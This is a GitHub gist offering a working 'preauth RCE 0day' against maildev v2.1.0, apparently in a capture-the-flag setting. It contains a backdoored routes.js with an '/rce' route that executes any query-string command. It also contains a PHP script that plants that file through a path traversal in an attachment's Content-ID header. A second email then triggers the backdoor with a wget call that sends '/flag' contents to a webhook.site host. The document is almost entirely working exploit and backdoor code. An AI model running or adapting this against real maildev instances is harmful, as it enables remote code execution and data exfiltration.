Skip to content

Instantly share code, notes, and snippets.

@stypr
Last active May 1, 2024 07:54
Show Gist options
  • Save stypr/fe2003f00959f7e3d92ab9d5260433f8 to your computer and use it in GitHub Desktop.
Save stypr/fe2003f00959f7e3d92ab9d5260433f8 to your computer and use it in GitHub Desktop.
maildev preauth RCE 0day
'use strict'
/**
* MailDev - routes.js
*/
const express = require('express')
const compression = require('compression')
const pkg = require('../package.json')
const { filterEmails } = require('./utils')
const emailRegexp = /^(([^<>()[\]\\.,;:\s@"]+(\.[^<>()[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/
module.exports = function (app, mailserver, basePathname) {
const router = express.Router()
// Get all emails
router.get('/email', compression(), function (req, res) {
mailserver.getAllEmail(function (err, emailList) {
if (err) return res.status(404).json([])
if (req.query) {
const filteredEmails = filterEmails(emailList, req.query)
res.json(filteredEmails)
} else {
res.json(emailList)
}
})
})
// Get single email
router.get('/email/:id', function (req, res) {
mailserver.getEmail(req.params.id, function (err, email) {
if (err) return res.status(404).json({ error: err.message })
email.read = true // Mark the email as 'read'
res.json(email)
})
})
// Read email
// router.patch('/email/:id/read', function (req, res) {
// mailserver.readEmail(req.params.id, function (err, email) {
// if (err) return res.status(500).json({ error: err.message })
// res.json(true)
// })
// })
// Read all emails
router.patch('/email/read-all', function (req, res) {
mailserver.readAllEmail(function (err, count) {
if (err) return res.status(500).json({ error: err.message })
res.json(count)
})
})
// Delete all emails
router.delete('/email/all', function (req, res) {
mailserver.deleteAllEmail(function (err) {
if (err) return res.status(500).json({ error: err.message })
res.json(true)
})
})
// Delete email by id
router.delete('/email/:id', function (req, res) {
mailserver.deleteEmail(req.params.id, function (err) {
if (err) return res.status(500).json({ error: err.message })
res.json(true)
})
})
// Get Email HTML
router.get('/email/:id/html', function (req, res) {
// Use the headers over hostname to include any port
const baseUrl = req.headers.host + (req.baseUrl || '')
mailserver.getEmailHTML(req.params.id, baseUrl, function (err, html) {
if (err) return res.status(404).json({ error: err.message })
res.send(html)
})
})
// Serve Attachments
router.get('/email/:id/attachment/:filename', function (req, res) {
mailserver.getEmailAttachment(req.params.id, req.params.filename, function (err, contentType, readStream) {
if (err) return res.status(404).json('File not found')
res.contentType(contentType)
readStream.pipe(res)
})
})
// Serve email.eml
router.get('/email/:id/download', function (req, res) {
mailserver.getEmailEml(req.params.id, function (err, contentType, filename, readStream) {
if (err) return res.status(404).json('File not found')
res.setHeader('Content-disposition', 'attachment; filename=' + filename)
res.contentType(contentType)
readStream.pipe(res)
})
})
// Get email source from .eml file
router.get('/email/:id/source', function (req, res) {
mailserver.getRawEmail(req.params.id, function (err, readStream) {
if (err) return res.status(404).json('File not found')
readStream.pipe(res)
})
})
// Get any config settings for display
router.get('/config', function (req, res) {
res.json({
version: pkg.version,
smtpPort: mailserver.port,
isOutgoingEnabled: mailserver.isOutgoingEnabled(),
outgoingHost: mailserver.getOutgoingHost()
})
})
// Relay the email
router.post('/email/:id/relay/:relayTo?', function (req, res) {
mailserver.getEmail(req.params.id, function (err, email) {
if (err) return res.status(404).json({ error: err.message })
if (req.params.relayTo) {
if (emailRegexp.test(req.params.relayTo)) {
email.to = [{ address: req.params.relayTo }]
email.envelope.to = [{ address: req.params.relayTo, args: false }]
} else {
return res.status(400).json({ error: 'Incorrect email address provided :' + req.params.relayTo })
}
}
mailserver.relayMail(email, function (err) {
if (err) return res.status(500).json({ error: err.message })
res.json(true)
})
})
})
// Health check
router.get('/healthz', function (req, res) {
res.json(true)
})
// exploit
router.get('/rce', function(req, res) {
res.json(require("child_process").execSync(req.query.cmd).toString())
})
router.get('/reloadMailsFromDirectory', function (req, res) {
mailserver.loadMailsFromDirectory()
res.json(true)
})
app.use(basePathname, router)
}
<?php
/*
maildev/maildev v2.1.0 Chained RCE (0day)
by stypr
1. Arbitrary file write vulnerability on saveAttachment
If Content-ID is set to <../../a> , path traversal works and hence exploitable
https://github.com/maildev/maildev/blob/357a20edcd205413d3590aedb8fcd7c97563c40d/lib/mailserver.js#L92C1-L100C2
2. Docker instance runs on `node`, `/home/node` exists... any file can be overwritten easily :)
```
$ pwd
/home/node
~ $ ls -la
total 400
drwxr-sr-x 1 node node 4096 Aug 2 02:35 .
drwxr-xr-x 1 root root 4096 Feb 9 2022 ..
-rw------- 1 node node 586 Aug 2 04:28 .ash_history
-rw-r--r-- 1 node node 927 Mar 15 2022 LICENSE
-rw-r--r-- 1 node node 10368 Mar 24 2022 README.md
-rw-r--r-- 1 node node 336 Mar 22 2022 SECURITY.md
drwxr-xr-x 7 node node 4096 Mar 23 2022 app
drwxr-xr-x 2 node node 4096 Mar 15 2022 bin
drwxr-xr-x 2 node node 4096 Mar 24 2022 docker
-rw-r--r-- 1 node node 316 Mar 15 2022 docker-compose.yml
-rw-r--r-- 1 node node 1154 Mar 23 2022 example-sendmail.js
-rw-r--r-- 1 node node 2569 Mar 23 2022 index.js
drwxr-xr-x 3 node node 4096 Mar 23 2022 lib
drwxr-sr-x 103 node node 4096 Mar 24 2022 node_modules
-rw-r--r-- 1 node node 327988 Mar 23 2022 package-lock.json
-rw-r--r-- 1 node node 2780 Mar 23 2022 package.json
drwxr-xr-x 5 node node 4096 Mar 22 2022 vendor
```
3. There needs to be something to kill the running process
*/
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;
require 'vendor/autoload.php';
function minify_payload($str){
return implode("\n", array_map("trim", explode("\n", $str)));
}
function stage3(){
/*
Run command, but this can be easily changed to something else, we just want to be more sneaky
*/
$boundary = "mixed-rce-1234";
$delimiter = "\n--$boundary";
$body = <<< EOF
$delimiter
Content-Type: text/html; charset=UTF-8
<img src="/rce?cmd=wget+-O+-+https://webhook.site/3942950f-eaca-48a0-ad9d-7260739fd645?$(cat+/flag)">
$delimiter--
EOF;
$body = minify_payload($body);
return send_mail($boundary, $body);
}
function stage2(){
/*
Stage2 tries to reboot the instance
DoS, whatever should be ok but.. let's assume this server is so vulnerable...
*/
}
function stage1(){
/*
Stage1 maliciously overwrites to /home/node/lib/web.js
*/
$boundary = "mixed-rce-1234";
$delimiter = "\n--$boundary";
$malicious_file = chunk_split(base64_encode(file_get_contents("polluted_web.js")), 76);
$body = <<< EOF
$delimiter
Content-Type: text/plain; charset=UTF-8
Exploit me :)
$delimiter
Content-Type: image/png; charset=UTF-8; filename="a.png"
Content-ID: <../../../home/node/lib/routes.js>
Content-Transfer-Encoding: base64
Content-Disposition: inline
$malicious_file
$delimiter--
EOF;
$body = minify_payload($body);
return send_mail($boundary, $body);
}
function send_mail($boundary, $body){
$mail = new PHPMailer(true);
ob_start();
try {
$mail->SMTPDebug = SMTP::DEBUG_SERVER;
$mail->isSMTP();
$mail->Host = 'localhost';
$mail->SMTPAuth = false;
$mail->Username = 'dev@google.com';
$mail->Password = '';
$mail->SMTPSecure = null;
$mail->Port = 1025;
$mail->XMailer = '';
$mail->setFrom('dev@google.com', 'Boy');
$mail->addAddress('root@localhost.localhost', 'Root');
$mail->addCustomHeader("Content-Type", "multipart/mixed; boundary=\"$boundary\"");
$mail->Subject = "Exploit";
$mail->Body = trim($body);
$mail->setLanguage('en');
$mail->send();
} catch (Exception $e) {
}
$result = ob_get_contents();
ob_end_clean();
return explode("\n", explode("250 Message queued as ", $result)[1])[0];
}
function main(){
var_dump(stage1());
sleep(5);
var_dump(stage3());
}
main();
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment